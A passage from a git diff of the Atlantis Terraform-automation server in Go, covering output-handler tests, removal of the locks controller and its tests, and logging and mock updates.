"github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/assert" +) + +func createTestProjectCmdContext(t *testing.T) command.ProjectContext { + logger := logging.NewNoopLogger(t) + return command.ProjectContext{ + BaseRepo: models.Repo{ + Name: "test-repo", + Owner: "test-org", + }, + HeadRepo: models.Repo{ + Name: "test-repo", + Owner: "test-org", + }, + Pull: models.PullRequest{ + Num: 1, + HeadBranch: "main", + BaseBranch: "main", + Author: "test-user", + HeadCommit: "234r232432", + }, + User: models.User{ + Username: "test-user", + }, + Log: logger, + Workspace: "myworkspace", + RepoRelDir: "test-dir", + ProjectName: "test-project", + JobID: "1234", + } +} + +func createProjectCommandOutputHandler(t *testing.T) jobs.ProjectCommandOutputHandler { + logger := logging.NewNoopLogger(t) + prjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine) + prjCmdOutputHandler := jobs.NewAsyncProjectCommandOutputHandler( + prjCmdOutputChan, + logger, + ) + + go func() { + prjCmdOutputHandler.Handle() + }() + + return prjCmdOutputHandler +} + +func TestProjectCommandOutputHandler(t *testing.T) { + Msg := "Test Terraform Output" + ctx := createTestProjectCmdContext(t) + + t.Run("receive message from main channel", func(t *testing.T) { + var wg sync.WaitGroup + var expectedMsg string + projectOutputHandler := createProjectCommandOutputHandler(t) + + ch := make(chan string, 1) + + // register channel and backfill from buffer + // Note: We call this synchronously because otherwise + // there could be a race where we are unable to register the channel + // before sending messages due to the way we lock our buffer memory cache + projectOutputHandler.Register(ctx.JobID, ch) + + wg.Add(1) + + // read from channel + go func() { + for msg := range ch { + expectedMsg = msg + wg.Done() + } + }() + + projectOutputHandler.Send(ctx, Msg, false) + wg.Wait() + close(ch) + + // Wait for the msg to be read. + wg.Wait() + Equals(t, expectedMsg, Msg) + }) + + t.Run("copies buffer to new channels", func(t *testing.T) { + var wg sync.WaitGroup + + projectOutputHandler := createProjectCommandOutputHandler(t) + + // send first message to populated the buffer + projectOutputHandler.Send(ctx, Msg, false) + + ch := make(chan string, 2) + + receivedMsgs := []string{} + + wg.Add(1) + // read from channel asynchronously + go func() { + for msg := range ch { + receivedMsgs = append(receivedMsgs, msg) + + // we're only expecting two messages here. + if len(receivedMsgs) >= 2 { + wg.Done() + } + } + }() + // register channel and backfill from buffer + // Note: We call this synchronously because otherwise + // there could be a race where we are unable to register the channel + // before sending messages due to the way we lock our buffer memory cache + projectOutputHandler.Register(ctx.JobID, ch) + + projectOutputHandler.Send(ctx, Msg, false) + wg.Wait() + close(ch) + + expectedMsgs := []string{Msg, Msg} + assert.Equal(t, len(expectedMsgs), len(receivedMsgs)) + for i := range expectedMsgs { + assert.Equal(t, expectedMsgs[i], receivedMsgs[i]) + } + }) + + t.Run("clean up all jobs when PR is closed", func(t *testing.T) { + var wg sync.WaitGroup + projectOutputHandler := createProjectCommandOutputHandler(t) + + ch := make(chan string, 2) + + // register channel and backfill from buffer + // Note: We call this synchronously because otherwise + // there could be a race where we are unable to register the channel + // before sending messages due to the way we lock our buffer memory cache + projectOutputHandler.Register(ctx.JobID, ch) + + wg.Add(1) + + // read from channel + go func() { + for msg := range ch { + if msg == "Complete" { + wg.Done() + } + } + }() + + projectOutputHandler.Send(ctx, Msg, false) + projectOutputHandler.Send(ctx, "Complete", false) + + pullContext := jobs.PullInfo{ + PullNum: ctx.Pull.Num, + Repo: ctx.BaseRepo.Name, + RepoFullName: ctx.BaseRepo.FullName, + ProjectName: ctx.ProjectName, + Path: ctx.RepoRelDir, + Workspace: ctx.Workspace, + } + wg.Wait() // Must finish reading messages before cleaning up + projectOutputHandler.CleanUp(pullContext) + + // Check all the resources are cleaned up. + dfProjectOutputHandler, ok := projectOutputHandler.(*jobs.AsyncProjectCommandOutputHandler) + assert.True(t, ok) + + assert.Empty(t, dfProjectOutputHandler.GetProjectOutputBuffer(ctx.JobID)) + assert.Empty(t, dfProjectOutputHandler.GetReceiverBufferForPull(ctx.JobID)) + assert.Empty(t, dfProjectOutputHandler.GetJobIDMapForPull(pullContext)) + }) + + t.Run("mark operation status complete and close conn buffers for the job", func(t *testing.T) { + projectOutputHandler := createProjectCommandOutputHandler(t) + + ch := make(chan string, 2) + + // register channel and backfill from buffer + // Note: We call this synchronously because otherwise + // there could be a race where we are unable to register the channel + // before sending messages due to the way we lock our buffer memory cache + projectOutputHandler.Register(ctx.JobID, ch) + + // read from channel + go func() { + for range ch { //revive:disable-line:empty-block + } + }() + + projectOutputHandler.Send(ctx, Msg, false) + projectOutputHandler.Send(ctx, "", true) + + // Wait for the handler to process the message + time.Sleep(10 * time.Millisecond) + + dfProjectOutputHandler, ok := projectOutputHandler.(*jobs.AsyncProjectCommandOutputHandler) + assert.True(t, ok) + + outputBuffer := dfProjectOutputHandler.GetProjectOutputBuffer(ctx.JobID) + assert.True(t, outputBuffer.OperationComplete) + + _, ok = (<-ch) + assert.False(t, ok) + + }) + + t.Run("close conn buffer after streaming logs for completed operation", func(t *testing.T) { + projectOutputHandler := createProjectCommandOutputHandler(t) + + ch := make(chan string) + + // register channel and backfill from buffer + // Note: We call this synchronously because otherwise + // there could be a race where we are unable to register the channel + // before sending messages due to the way we lock our buffer memory cache + projectOutputHandler.Register(ctx.JobID, ch) + + // read from channel + go func() { + for range ch { //revive:disable-line:empty-block + } + }() + + projectOutputHandler.Send(ctx, Msg, false) + projectOutputHandler.Send(ctx, "", true) + + // Wait for the handler to process the message + time.Sleep(10 * time.Millisecond) + + ch2 := make(chan string, 2) + opComplete := make(chan bool) + + // buffer channel will be closed immediately after logs are streamed + go func() { + for range ch2 { //revive:disable-line:empty-block + } + opComplete <- true + }() + + projectOutputHandler.Register(ctx.JobID, ch2) + + assert.True(t, <-opComplete) + }) +} diff --git a/server/locks_controller.go b/server/locks_controller.go deleted file mode 100644 index 60151b16d9..0000000000 --- a/server/locks_controller.go +++ /dev/null @@ -1,137 +0,0 @@ -package server - -import ( - "fmt" - "net/http" - "net/url" - - "github.com/runatlantis/atlantis/server/events/db" - - "github.com/gorilla/mux" - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/locking" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/vcs" - "github.com/runatlantis/atlantis/server/logging" -) - -// LocksController handles all requests relating to Atlantis locks. -type LocksController struct { - AtlantisVersion string - AtlantisURL *url.URL - Locker locking.Locker - Logger *logging.SimpleLogger - VCSClient vcs.Client - LockDetailTemplate TemplateWriter - WorkingDir events.WorkingDir - WorkingDirLocker events.WorkingDirLocker - DB *db.BoltDB - DeleteLockCommand events.DeleteLockCommand -} - -// GetLock is the GET /locks/{id} route. It renders the lock detail view. -func (l *LocksController) GetLock(w http.ResponseWriter, r *http.Request) { - id, ok := mux.Vars(r)["id"] - if !ok { - l.respond(w, logging.Warn, http.StatusBadRequest, "No lock id in request") - return - } - - idUnencoded, err := url.QueryUnescape(id) - if err != nil { - l.respond(w, logging.Warn, http.StatusBadRequest, "Invalid lock id: %s", err) - return - } - lock, err := l.Locker.GetLock(idUnencoded) - if err != nil { - l.respond(w, logging.Error, http.StatusInternalServerError, "Failed getting lock: %s", err) - return - } - if lock == nil { - l.respond(w, logging.Info, http.StatusNotFound, "No lock found at id %q", idUnencoded) - return - } - - owner, repo := models.SplitRepoFullName(lock.Project.RepoFullName) - viewData := LockDetailData{ - LockKeyEncoded: id, - LockKey: idUnencoded, - PullRequestLink: lock.Pull.URL, - LockedBy: lock.Pull.Author, - Workspace: lock.Workspace, - AtlantisVersion: l.AtlantisVersion, - CleanedBasePath: l.AtlantisURL.Path, - RepoOwner: owner, - RepoName: repo, - } - - err = l.LockDetailTemplate.Execute(w, viewData) - if err != nil { - l.Logger.Err(err.Error()) - } -} - -// DeleteLock handles deleting the lock at id and commenting back on the -// pull request that the lock has been deleted. -func (l *LocksController) DeleteLock(w http.ResponseWriter, r *http.Request) { - id, ok := mux.Vars(r)["id"] - if !ok || id == "" { - l.respond(w, logging.Warn, http.StatusBadRequest, "No lock id in request") - return - } - - idUnencoded, err := url.PathUnescape(id) - if err != nil { - l.respond(w, logging.Warn, http.StatusBadRequest, "Invalid lock id %q. Failed with error: %s", id, err) - return - } - - lock, err := l.DeleteLockCommand.DeleteLock(idUnencoded) - if err != nil { - l.respond(w, logging.Error, http.StatusInternalServerError, "deleting lock failed with: %s", err) - return - } - - if lock == nil { - l.respond(w, logging.Info, http.StatusNotFound, "No lock found at id %q", idUnencoded) - return - } - - // NOTE: Because BaseRepo was added to the PullRequest model later, previous - // installations of Atlantis will have locks in their DB that do not have - // this field on PullRequest. We skip commenting in this case. - if lock.Pull.BaseRepo != (models.Repo{}) { - unlock, err := l.WorkingDirLocker.TryLock(lock.Pull.BaseRepo.FullName, lock.Pull.Num, lock.Workspace) - if err != nil { - l.Logger.Err("unable to obtain working dir lock when trying to delete old plans: %s", err) - } else { - defer unlock() - // nolint: vetshadow - if err := l.WorkingDir.DeleteForWorkspace(lock.Pull.BaseRepo, lock.Pull, lock.Workspace); err != nil { - l.Logger.Err("unable to delete workspace: %s", err) - } - } - if err := l.DB.UpdateProjectStatus(lock.Pull, lock.Workspace, lock.Project.Path, models.DiscardedPlanStatus); err != nil { - l.Logger.Err("unable to update project status: %s", err) - } - - // Once the lock has been deleted, comment back on the pull request. - comment := fmt.Sprintf("**Warning**: The plan for dir: `%s` workspace: `%s` was **discarded** via the Atlantis UI.\n\n"+ - "To `apply` this plan you must run `plan` again.", lock.Project.Path, lock.Workspace) - if err = l.VCSClient.CreateComment(lock.Pull.BaseRepo, lock.Pull.Num, comment, ""); err != nil { - l.Logger.Warn("failed commenting on pull request: %s", err) - } - } else { - l.Logger.Debug("skipping commenting on pull request and deleting workspace because BaseRepo field is empty") - } - l.respond(w, logging.Info, http.StatusOK, "Deleted lock id %q", id) -} - -// respond is a helper function to respond and log the response. lvl is the log -// level to log at, code is the HTTP response code. -func (l *LocksController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...interface{}) { - response := fmt.Sprintf(format, args...) - l.Logger.Log(lvl, response) - w.WriteHeader(responseCode) - fmt.Fprintln(w, response) -} diff --git a/server/locks_controller_test.go b/server/locks_controller_test.go deleted file mode 100644 index 42487afbf4..0000000000 --- a/server/locks_controller_test.go +++ /dev/null @@ -1,330 +0,0 @@ -package server_test - -import ( - "bytes" - "errors" - "net/http" - "net/http/httptest" - "net/url" - "reflect" - "testing" - - "github.com/runatlantis/atlantis/server/events/db" - - "github.com/gorilla/mux" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server" - "github.com/runatlantis/atlantis/server/events" - - "github.com/runatlantis/atlantis/server/events/locking/mocks" - mocks2 "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/models" - vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" - "github.com/runatlantis/atlantis/server/logging" - sMocks "github.com/runatlantis/atlantis/server/mocks" - . "github.com/runatlantis/atlantis/testing" -) - -func AnyRepo() models.Repo { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf(models.Repo{}))) - return models.Repo{} -} - -func TestGetLockRoute_NoLockID(t *testing.T) { - t.Log("If there is no lock ID in the request then we should get a 400") - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - w := httptest.NewRecorder() - lc := server.LocksController{ - Logger: logging.NewNoopLogger(), - } - lc.GetLock(w, req) - responseContains(t, w, http.StatusBadRequest, "No lock id in request") -} - -func TestGetLock_InvalidLockID(t *testing.T) { - t.Log("If the lock ID is invalid then we should get a 400") - lc := server.LocksController{ - Logger: logging.NewNoopLogger(), - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "%A@"}) - w := httptest.NewRecorder() - lc.GetLock(w, req) - responseContains(t, w, http.StatusBadRequest, "Invalid lock id") -} - -func TestGetLock_LockerErr(t *testing.T) { - t.Log("If there is an error retrieving the lock, a 500 is returned") - RegisterMockTestingT(t) - l := mocks.NewMockLocker() - When(l.GetLock("id")).ThenReturn(nil, errors.New("err")) - lc := server.LocksController{ - Logger: logging.NewNoopLogger(), - Locker: l, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.GetLock(w, req) - responseContains(t, w, http.StatusInternalServerError, "err") -} - -func TestGetLock_None(t *testing.T) { - t.Log("If there is no lock at that ID we get a 404") - RegisterMockTestingT(t) - l := mocks.NewMockLocker() - When(l.GetLock("id")).ThenReturn(nil, nil) - lc := server.LocksController{ - Logger: logging.NewNoopLogger(), - Locker: l, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.GetLock(w, req) - responseContains(t, w, http.StatusNotFound, "No lock found at id \"id\"") -} - -func TestGetLock_Success(t *testing.T) { - t.Log("Should be able to render a lock successfully") - RegisterMockTestingT(t) - l := mocks.NewMockLocker() - When(l.GetLock("id")).ThenReturn(&models.ProjectLock{ - Project: models.Project{RepoFullName: "owner/repo", Path: "path"}, - Pull: models.PullRequest{URL: "url", Author: "lkysow"}, - Workspace: "workspace", - }, nil) - tmpl := sMocks.NewMockTemplateWriter() - atlantisURL, err := url.Parse("https://example.com/basepath") - Ok(t, err) - lc := server.LocksController{ - Logger: logging.NewNoopLogger(), - Locker: l, - LockDetailTemplate: tmpl, - AtlantisVersion: "1300135", - AtlantisURL: atlantisURL, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.GetLock(w, req) - tmpl.VerifyWasCalledOnce().Execute(w, server.LockDetailData{ - LockKeyEncoded: "id", - LockKey: "id", - RepoOwner: "owner", - RepoName: "repo", - PullRequestLink: "url", - LockedBy: "lkysow", - Workspace: "workspace", - AtlantisVersion: "1300135", - CleanedBasePath: "/basepath", - }) - responseContains(t, w, http.StatusOK, "") -} - -func TestDeleteLock_NoLockID(t *testing.T) { - t.Log("If there is no lock ID in the request then we should get a 400") - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - w := httptest.NewRecorder() - lc := server.LocksController{Logger: logging.NewNoopLogger()} - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusBadRequest, "No lock id in request") -} - -func TestDeleteLock_InvalidLockID(t *testing.T) { - t.Log("If the lock ID is invalid then we should get a 400") - lc := server.LocksController{Logger: logging.NewNoopLogger()} - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "%A@"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusBadRequest, "Invalid lock id \"%A@\"") -} - -func TestDeleteLock_LockerErr(t *testing.T) { - t.Log("If there is an error retrieving the lock, a 500 is returned") - RegisterMockTestingT(t) - dlc := mocks2.NewMockDeleteLockCommand() - When(dlc.DeleteLock("id")).ThenReturn(nil, errors.New("err")) - lc := server.LocksController{ - DeleteLockCommand: dlc, - Logger: logging.NewNoopLogger(), - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusInternalServerError, "err") -} - -func TestDeleteLock_None(t *testing.T) { - t.Log("If there is no lock at that ID we get a 404") - RegisterMockTestingT(t) - dlc := mocks2.NewMockDeleteLockCommand() - When(dlc.DeleteLock("id")).ThenReturn(nil, nil) - lc := server.LocksController{ - DeleteLockCommand: dlc, - Logger: logging.NewNoopLogger(), - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusNotFound, "No lock found at id \"id\"") -} - -func TestDeleteLock_OldFormat(t *testing.T) { - t.Log("If the lock doesn't have BaseRepo set it is deleted successfully") - RegisterMockTestingT(t) - cp := vcsmocks.NewMockClient() - dlc := mocks2.NewMockDeleteLockCommand() - When(dlc.DeleteLock("id")).ThenReturn(&models.ProjectLock{}, nil) - lc := server.LocksController{ - DeleteLockCommand: dlc, - Logger: logging.NewNoopLogger(), - VCSClient: cp, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusOK, "Deleted lock id \"id\"") - cp.VerifyWasCalled(Never()).CreateComment(AnyRepo(), AnyInt(), AnyString(), AnyString()) -} - -func TestDeleteLock_UpdateProjectStatus(t *testing.T) { - t.Log("When deleting a lock, pull status has to be updated to reflect discarded plan") - RegisterMockTestingT(t) - - repoName := "owner/repo" - projectPath := "path" - workspaceName := "workspace" - - cp := vcsmocks.NewMockClient() - l := mocks2.NewMockDeleteLockCommand() - workingDir := mocks2.NewMockWorkingDir() - workingDirLocker := events.NewDefaultWorkingDirLocker() - pull := models.PullRequest{ - BaseRepo: models.Repo{FullName: repoName}, - } - When(l.DeleteLock("id")).ThenReturn(&models.ProjectLock{ - Pull: pull, - Workspace: workspaceName, - Project: models.Project{ - Path: projectPath, - RepoFullName: repoName, - }, - }, nil) - tmp, cleanup := TempDir(t) - defer cleanup() - db, err := db.New(tmp) - Ok(t, err) - // Seed the DB with a successful plan for that project (that is later discarded). - _, err = db.UpdatePullWithResults(pull, []models.ProjectResult{ - { - Command: models.PlanCommand, - RepoRelDir: projectPath, - Workspace: workspaceName, - PlanSuccess: &models.PlanSuccess{ - TerraformOutput: "tf-output", - LockURL: "lock-url", - }, - }, - }) - Ok(t, err) - lc := server.LocksController{ - DeleteLockCommand: l, - Logger: logging.NewNoopLogger(), - VCSClient: cp, - WorkingDirLocker: workingDirLocker, - WorkingDir: workingDir, - DB: db, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusOK, "Deleted lock id \"id\"") - status, err := db.GetPullStatus(pull) - Ok(t, err) - Assert(t, status != nil, "status was nil") - Equals(t, []models.ProjectStatus{ - { - Workspace: workspaceName, - RepoRelDir: projectPath, - Status: models.DiscardedPlanStatus, - }, - }, status.Projects) -} - -func TestDeleteLock_CommentFailed(t *testing.T) { - t.Log("If the commenting fails we still return success") - RegisterMockTestingT(t) - dlc := mocks2.NewMockDeleteLockCommand() - When(dlc.DeleteLock("id")).ThenReturn(&models.ProjectLock{ - Pull: models.PullRequest{ - BaseRepo: models.Repo{FullName: "owner/repo"}, - }, - }, nil) - cp := vcsmocks.NewMockClient() - workingDir := mocks2.NewMockWorkingDir() - workingDirLocker := events.NewDefaultWorkingDirLocker() - When(cp.CreateComment(AnyRepo(), AnyInt(), AnyString(), AnyString())).ThenReturn(errors.New("err")) - tmp, cleanup := TempDir(t) - defer cleanup() - db, err := db.New(tmp) - Ok(t, err) - lc := server.LocksController{ - DeleteLockCommand: dlc, - Logger: logging.NewNoopLogger(), - VCSClient: cp, - WorkingDir: workingDir, - WorkingDirLocker: workingDirLocker, - DB: db, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusOK, "Deleted lock id \"id\"") -} - -func TestDeleteLock_CommentSuccess(t *testing.T) { - t.Log("We should comment back on the pull request if the lock is deleted") - RegisterMockTestingT(t) - cp := vcsmocks.NewMockClient() - dlc := mocks2.NewMockDeleteLockCommand() - workingDir := mocks2.NewMockWorkingDir() - workingDirLocker := events.NewDefaultWorkingDirLocker() - pull := models.PullRequest{ - BaseRepo: models.Repo{FullName: "owner/repo"}, - } - When(dlc.DeleteLock("id")).ThenReturn(&models.ProjectLock{ - Pull: pull, - Workspace: "workspace", - Project: models.Project{ - Path: "path", - RepoFullName: "owner/repo", - }, - }, nil) - tmp, cleanup := TempDir(t) - defer cleanup() - db, err := db.New(tmp) - Ok(t, err) - lc := server.LocksController{ - DeleteLockCommand: dlc, - Logger: logging.NewNoopLogger(), - VCSClient: cp, - DB: db, - WorkingDir: workingDir, - WorkingDirLocker: workingDirLocker, - } - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req = mux.SetURLVars(req, map[string]string{"id": "id"}) - w := httptest.NewRecorder() - lc.DeleteLock(w, req) - responseContains(t, w, http.StatusOK, "Deleted lock id \"id\"") - cp.VerifyWasCalled(Once()).CreateComment(pull.BaseRepo, pull.Num, - "**Warning**: The plan for dir: `path` workspace: `workspace` was **discarded** via the Atlantis UI.\n\n"+ - "To `apply` this plan you must run `plan` again.", "") -} diff --git a/server/logging/log.go b/server/logging/log.go new file mode 100644 index 0000000000..8e63640a17 --- /dev/null +++ b/server/logging/log.go @@ -0,0 +1,12 @@ +package logging + +import ( + "io" + "log" +) + +// SuppressDefaultLogging suppresses the default logging +func SuppressDefaultLogging() { + // Some packages use the default logger, so we need to suppress it. (such as uber-go/tally) + log.SetOutput(io.Discard) +} diff --git a/server/logging/logging_test.go b/server/logging/logging_test.go index 8f7b67e2d4..237d1d8b65 100644 --- a/server/logging/logging_test.go +++ b/server/logging/logging_test.go @@ -13,4 +13,22 @@ package logging_test -// purposefully empty to trigger coverage report +import ( + "testing" + + "github.com/runatlantis/atlantis/server/logging" + "github.com/stretchr/testify/assert" +) + +func TestStructuredLoggerSavesHistory(t *testing.T) { + logger := logging.NewNoopLogger(t) + + historyLogger := logger.WithHistory() + + expectedStr := "[DBUG] Hello World\n[INFO] foo bar\n" + + historyLogger.Debug("Hello World") + historyLogger.Info("foo bar") + + assert.Equal(t, expectedStr, historyLogger.GetHistory()) +} diff --git a/server/logging/mocks/matchers/logging_loglevel.go b/server/logging/mocks/matchers/logging_loglevel.go deleted file mode 100644 index 660a3cc434..0000000000 --- a/server/logging/mocks/matchers/logging_loglevel.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" -) - -func AnyLoggingLogLevel() logging.LogLevel { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(logging.LogLevel))(nil)).Elem())) - var nullValue logging.LogLevel - return nullValue -} - -func EqLoggingLogLevel(value logging.LogLevel) logging.LogLevel { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue logging.LogLevel - return nullValue -} diff --git a/server/logging/mocks/matchers/ptr_to_log_logger.go b/server/logging/mocks/matchers/ptr_to_log_logger.go deleted file mode 100644 index a15f6620a6..0000000000 --- a/server/logging/mocks/matchers/ptr_to_log_logger.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - log "log" -) - -func AnyPtrToLogLogger() *log.Logger { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*log.Logger))(nil)).Elem())) - var nullValue *log.Logger - return nullValue -} - -func EqPtrToLogLogger(value *log.Logger) *log.Logger { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *log.Logger - return nullValue -} diff --git a/server/logging/mocks/matchers/ptr_to_logging_simplelogger.go b/server/logging/mocks/matchers/ptr_to_logging_simplelogger.go deleted file mode 100644 index 04c72791bc..0000000000 --- a/server/logging/mocks/matchers/ptr_to_logging_simplelogger.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" -) - -func AnyPtrToLoggingSimpleLogger() *logging.SimpleLogger { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*logging.SimpleLogger))(nil)).Elem())) - var nullValue *logging.SimpleLogger - return nullValue -} - -func EqPtrToLoggingSimpleLogger(value *logging.SimpleLogger) *logging.SimpleLogger { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *logging.SimpleLogger - return nullValue -} diff --git a/server/logging/mocks/mock_simple_logging.go b/server/logging/mocks/mock_simple_logging.go index 7d2eef71a0..165fd99a37 100644 --- a/server/logging/mocks/mock_simple_logging.go +++ b/server/logging/mocks/mock_simple_logging.go @@ -4,9 +4,8 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" logging "github.com/runatlantis/atlantis/server/logging" - log "log" "reflect" "time" ) @@ -30,100 +29,129 @@ func (mock *MockSimpleLogging) Debug(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{format} + _params := []pegomock.Param{format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - pegomock.GetGenericMockFrom(mock).Invoke("Debug", params, []reflect.Type{}) + pegomock.GetGenericMockFrom(mock).Invoke("Debug", _params, []reflect.Type{}) } -func (mock *MockSimpleLogging) Info(format string, a ...interface{}) { +func (mock *MockSimpleLogging) Err(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{format} + _params := []pegomock.Param{format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - pegomock.GetGenericMockFrom(mock).Invoke("Info", params, []reflect.Type{}) + pegomock.GetGenericMockFrom(mock).Invoke("Err", _params, []reflect.Type{}) } -func (mock *MockSimpleLogging) Warn(format string, a ...interface{}) { +func (mock *MockSimpleLogging) Flush() error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{format} - for _, param := range a { - params = append(params, param) + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Flush", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } } - pegomock.GetGenericMockFrom(mock).Invoke("Warn", params, []reflect.Type{}) + return _ret0 } -func (mock *MockSimpleLogging) Err(format string, a ...interface{}) { +func (mock *MockSimpleLogging) GetHistory() string { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetHistory", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) + var _ret0 string + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + } + return _ret0 +} + +func (mock *MockSimpleLogging) Info(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{format} + _params := []pegomock.Param{format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - pegomock.GetGenericMockFrom(mock).Invoke("Err", params, []reflect.Type{}) + pegomock.GetGenericMockFrom(mock).Invoke("Info", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) Log(level logging.LogLevel, format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{level, format} + _params := []pegomock.Param{level, format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - pegomock.GetGenericMockFrom(mock).Invoke("Log", params, []reflect.Type{}) + pegomock.GetGenericMockFrom(mock).Invoke("Log", _params, []reflect.Type{}) } -func (mock *MockSimpleLogging) Underlying() *log.Logger { +func (mock *MockSimpleLogging) SetLevel(lvl logging.LogLevel) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("Underlying", params, []reflect.Type{reflect.TypeOf((**log.Logger)(nil)).Elem()}) - var ret0 *log.Logger - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*log.Logger) - } + _params := []pegomock.Param{lvl} + pegomock.GetGenericMockFrom(mock).Invoke("SetLevel", _params, []reflect.Type{}) +} + +func (mock *MockSimpleLogging) Warn(format string, a ...interface{}) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - return ret0 + _params := []pegomock.Param{format} + for _, param := range a { + _params = append(_params, param) + } + pegomock.GetGenericMockFrom(mock).Invoke("Warn", _params, []reflect.Type{}) } -func (mock *MockSimpleLogging) GetLevel() logging.LogLevel { +func (mock *MockSimpleLogging) With(a ...interface{}) logging.SimpleLogging { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetLevel", params, []reflect.Type{reflect.TypeOf((*logging.LogLevel)(nil)).Elem()}) - var ret0 logging.LogLevel - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(logging.LogLevel) + _params := []pegomock.Param{} + for _, param := range a { + _params = append(_params, param) + } + _result := pegomock.GetGenericMockFrom(mock).Invoke("With", _params, []reflect.Type{reflect.TypeOf((*logging.SimpleLogging)(nil)).Elem()}) + var _ret0 logging.SimpleLogging + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(logging.SimpleLogging) } } - return ret0 + return _ret0 } -func (mock *MockSimpleLogging) NewLogger(_param0 string, _param1 bool, _param2 logging.LogLevel) *logging.SimpleLogger { +func (mock *MockSimpleLogging) WithHistory(a ...interface{}) logging.SimpleLogging { if mock == 